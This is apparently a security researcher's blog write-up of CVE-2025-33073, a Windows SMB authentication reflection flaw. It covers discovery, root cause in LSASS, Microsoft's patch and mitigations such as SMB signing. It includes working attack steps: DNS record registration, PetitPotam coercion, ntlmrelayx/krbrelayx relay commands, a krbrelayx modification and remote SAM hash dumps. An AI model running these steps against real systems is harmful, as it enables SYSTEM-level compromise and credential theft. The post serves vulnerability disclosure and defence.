Post

CVE-2025-33073 Explained

A detailed walkthrough of CVE-2025-33073, exploring its discovery, exploitation, root cause, and mitigation strategies.

CVE-2025-33073 Explained

Introduction

NTLM reflection is a special case of NTLM authentication relay in which the original authentication is relayed back to the machine from which the authentication originated. This class of vulnerability was publicly introduced via MS08-68, where Microsoft prevented SMB to SMB NTLM reflection. Over the years, other exploitation vectors were discovered and patched, such as:

  • HTTP to SMB reflection (patched in MS09-13)
  • DCOM to DCOM reflection (patched in MS15-076)

Nowadays, it is generally accepted that NTLM reflection attack vectors are fixed, but from time to time, researchers demonstrate that bypassing mitigations is just a matter of digging into what the mitigation actually does.

More recently, a tweet demonstrating that Kerberos reflection was not restricted sparked our interest and motivated us to dig more into authentication reflection.

Vulnerability Discovery

As a baseline for our tests, let’s see what happens when trying to relay an SMB authentication back to the same machine. Our test machine (SRV1) is an up-to-date Windows Server 2022, domain joined, with SMB signing not enforced:

1
2
3
4
5
6
7
8
9
$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL 192.168.56.3 SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[-] Authenticating against smb://SRV1.ASGARD.LOCAL as ASGARD/SRV1$ FAILED

PetitPotam coerces a SYSTEM service (lsass.exe) into authenticating to a controlled machine, therefore a machine account authentication is received. As the authentication originates from the same machine, the relay fails.

To hunt for unusual behavior, we fiddled with different parameters such as the listener host or the client IP address. We registered the srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS record and made it point to our IP address. This format, first documented by James Forshaw, can be used to coerce machines into authenticating via Kerberos to a controlled IP address.

When coercing SRV1 with the previous DNS record as the listener, we stumbled across a weird behavior: the relay actually worked!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3
[-] Adding new record
[+] LDAP operation completed successfully

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: 192.168.56.14

Even more surprisingly, ntlmrelayx.py was able to remotely dump the SAM hive, which means the identity we relayed was privileged on the machine. This seemed odd because the machine account is not privileged on its associated machine.

Understanding the Vulnerability

To quickly understand what had happened, network captures were done for both relay attacks. An obvious difference stood out:

  • In the network capture of the relay with the srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA hostname, NTLM local authentication took place!
  • When coercing the machine with an IP address as the listener, a standard NTLM authentication occurred.

Local NTLM Authentication

NTLM local authentication is a special case of NTLM authentication in which the server informs the client (in the NTLM_CHALLENGE message) that there is no need to compute the challenge response in the NTLM_AUTHENTICATE message. Instead:

  • The server sets the “Negotiate Local Call” in the challenge message.
  • Creates a server context, adds it to a global context list, and inserts the context ID in the Reserved field.
  • The client, upon receiving the NTLM_CHALLENGE, understands that local NTLM authentication must occur, adds its token into the server context, and sends back an almost empty NTLM_AUTHENTICATE message.
  • The server uses the token added to its context to perform further operations (via SMB in our case).

Network Capture Differences

  • When the relay did not work:
    • NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) bit is not enabled in the Negotiate flags.
    • Reserved flag is NULL. When the relay did not work
  • When the relay worked:
    • The flag is set and the Reserved value is not NULL.

    when the relay worked

Decision Logic

To decide whether local NTLM authentication must happen, the server checks two fields in the NTLM_NEGOTIATE message: the workstation name and domain. If both match the current machine and domain, the server includes the NTLMSSP_NEGOTIATE_LOCAL_CALL flag.

Simplified code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NTSTATUS SsprHandleNegotiateMessage([...])
{
        Context = LocalAlloc(0x160);
        [...]
        if ( RtlEqualString(&ClientSpecifiedWorkstationName, &NtLmGlobalOemPhysicalComputerNameString, 0) &&
                 RtlEqualString(&ClientSpecifiedDomainName, &NtLmGlobalOemPrimaryDomainNameString, 0) )
        {
                Context->Id = NtLmGlobalLoopbackCounter + 1;
                ChallengeMessage->Flags |= NTLMSSP_NEGOTIATE_LOCAL_CALL;
                InsertHeadList(&NtLmGlobalLoopbackContextListHead, Context);
                ChallengeMessage->ServerContextHandle = Context->Id;
        }
        [...]
}

Network captures confirm:

  • When local authentication was negotiated, the NTLM_NEGOTIATE message contained both the workstation name and domain name of the client.

NTLM Message when the relay worked

  • Otherwise, both fields were set to NULL.

NTLM Message when the relay did not work

This difference in behavior indicates that the client detects the DNS record srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA as an equivalent to localhost and hints the server that NTLM local authentication should be considered.

Root Cause

To understand the root cause, we traced back to the authentication context initialization by the SMB client (mrxsmb.sys). When authentication is needed:

  1. Calls ksecdd!AcquireCredentialsHandle with the Negotiate package.
  2. Calls ksecdd!InitializeSecurityContextW with the target name, which can look like: - cifs/192.168.56.3 - cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

After marshalled target information is stripped, the target name becomes:

  • cifs/192.168.56.3
  • cifs/srv1

Key function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
NTSTATUS SsprHandleFirstCall(
                HANDLE CredentialHandle,
                NTLM_SSP_CONTEXT **SspContext,
                ULONG fContextReq,
                int a4,
                PSSP_CREDENTIAL Credential,
                UNICODE_STRING *TargetName,
                _DWORD *a7,
                void **a8,
                LARGE_INTEGER SystemTime,
                LARGE_INTEGER *a10,
                _OWORD *a11,
                LARGE_INTEGER LocalTime)
{
        SspCredentialReferenceCredentialEx(CredentialHandle, 0, 1, &Credential);
        [...]
        SspIsTargetLocalhost(1, TargetName, &SspContext->IsLoopbackAllowed);
        [...]
        if (!SspContext->IsLoopbackAllowed && !NtLmGlobalDisableLoopbackCheck
                || (fContextReq & ISC_REQ_NULL_SESSION) != 0
                || Credential->DomainName
                || Credential->UserName
                || Credential->Password) {
                SspContext->CheckForLocal = FALSE;
        } else {
                SspContext->CheckForLocal = TRUE;
        }
        [...]
        if (SspContext->CheckForLocal) {
                RtlCopyAnsiString(WorkstationName, NtLmGlobalOemPhysicalComputerNameString);
                RtlCopyAnsiString(DomainName, NtLmGlobalOemPrimaryDomainNameString);
                NegotiateMessage->OemWorkstationName =  WorkstationName;
                NegotiateMessage->OemDomainName =  DomainName;
        }
        [...]
}

Target name comparison:

  • FQDN of the machine (e.g., SRV1.ASGARD.LOCAL)
  • Hostname of the machine (e.g., SRV1)
  • localhost
  • If no match, compared to all IP addresses assigned to the machine

Workstation and domain name are included if:

  • The target is the current machine
  • The client did not ask for NULL authentication
  • The current user’s credentials are used (no explicit credentials specified)

Why are we privileged?
PetitPotam coerces lsass.exe (running as SYSTEM) into authenticating to our server. When local NTLM authentication is performed, it copies its SYSTEM token into the server context, which is then used for further actions (e.g., dumping the SAM hive).

Bonus:
Registering a DNS record like localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA can compromise any vulnerable machine, as the marshalled target information is stripped, leaving only localhost.

What About Kerberos?

The Negotiate Workflow

After this discovery, we wondered if Kerberos was also affected. Kerberos has no protection against reflection attacks. The same attack was performed by replacing ntlmrelayx.py with krbrelayx.py:

1
2
3
4
5
6
7
8
9
10
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[-] No negTokenInit sent by client

Even though a DNS record was supplied as the listener host and krbrelayx.py advertises Kerberos, NTLM authentication was negotiated. This is because if the client detects the target is the current machine, NTLM is used for local authentication.

To enforce Kerberos:
Remove the NTLM mechtype from the advertised types in krbrelayx.py:

1
2
3
4
5
6
7
# File: krbrelayx/lib/servers/smbrelayserver.py
blob['tokenOid'] = '1.3.6.1.5.5.2'
blob['innerContextToken']['mechTypes'].extend([
        MechType(TypesMech['KRB5 - Kerberos 5']),
        MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
        # MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])  # Remove this line
])

After patching:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2969778d862ac2a6df59a263a16adbd1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04e87eb3e0d31f79a461386dfe9c7500:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: srv1.asgard.local

Kerberos Root Cause

When the SMB client negotiates Kerberos:

  1. kerberos!SpInitLsaModeContext is called.
  2. Calls kerberos!KerbBuildApRequest, which calls kerberos!KerbMakeKeyEx to create a subkey.
  3. If the current user is NT AUTHORITY\SYSTEM or NT AUTHORITY\NETWORK SERVICE, kerberos!KerbCreateSKeyEntry is called to create a subkey entry with the current user’s LUID, subkey, expiration, and token.

Key code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NTSTATUS SpInitLsaModeContext([...])
{
        [...]
        if ((Credential.LogonId.LowPart == 0x3E7 || Credential.LogonId.LowPart == 0x3E4) &&  Credential.LogonId.HighPart == 0) {
                GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
                &SystemTimeAsFileTime += 2 * KerbGlobalSkewTime.QuadPart;
                KerbCreateSKeyEntry(
                        &Credential.LogonId,
                        &SubsessionKey,
                        &SystemTimeAsFileTime,
                        &TokenHandle
                );
        }
}

When the server receives the AP-REQ, it calls AcceptSecurityContext, which forwards to kerberos!SpAcceptLsaModeContext. If the client name equals the machine name, kerberos!KerbDoesSKeyExist checks if the AP-REQ subkey exists and if the associated logon ID is SYSTEM.

If true:

  • A SYSTEM token is created and associated with the client.

Patch Analysis and Recommendations

Microsoft described CVE-2025-33073 as a vulnerability in the SMB client. To understand the patch, the mrxsmb.sys kernel driver was diffed against the previous version. The key change:

1
2
3
4
5
6
7
8
NTSTATUS SmbCeCreateSrvCall([...])
{
        [...]
        if ((unsigned int)CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, 0) != STATUS_INVALID_PARAMETER ) {
                return STATUS_INVALID_PARAMETER;
        }
        [...]
}
  • The function ksecdd!CredUnmarshalTargetInfo fails if the target name does not contain any marshalled target information or if the format is incorrect.
  • This prevents any SMB connection if a target name with marshalled target information is detected.
  • The patch fixes the vulnerability and removes the ability to coerce machines into authenticating via Kerberos by registering a DNS record with marshalled target information.

Recommendations:

  • Refer to Microsoft’s official advisory for the correct fix.
  • Enforce SMB signing on your machines when possible to prevent exploitation, even without applying the patch.

Conclusion

Even though CVE-2025-33073 is referred to by Microsoft as an elevation of privilege, it is actually an authenticated remote command execution as SYSTEM on any machine which does not enforce SMB signing.

In this post, we described how we accidentally found the vulnerability, detailed our methodology, and dove deep into LSASS internals to understand the vulnerability workflow. We also analyzed the official patch, showing that the vulnerability was fixed with only a few lines of code.

Key takeaways:

  • Enabling defense-in-depth mitigations such as SMB signing can be extremely efficient, even against 0-days.
  • Kudos to the other researchers who independently reported the vulnerability to Microsoft!
This post is licensed under CC BY 4.0 by the author.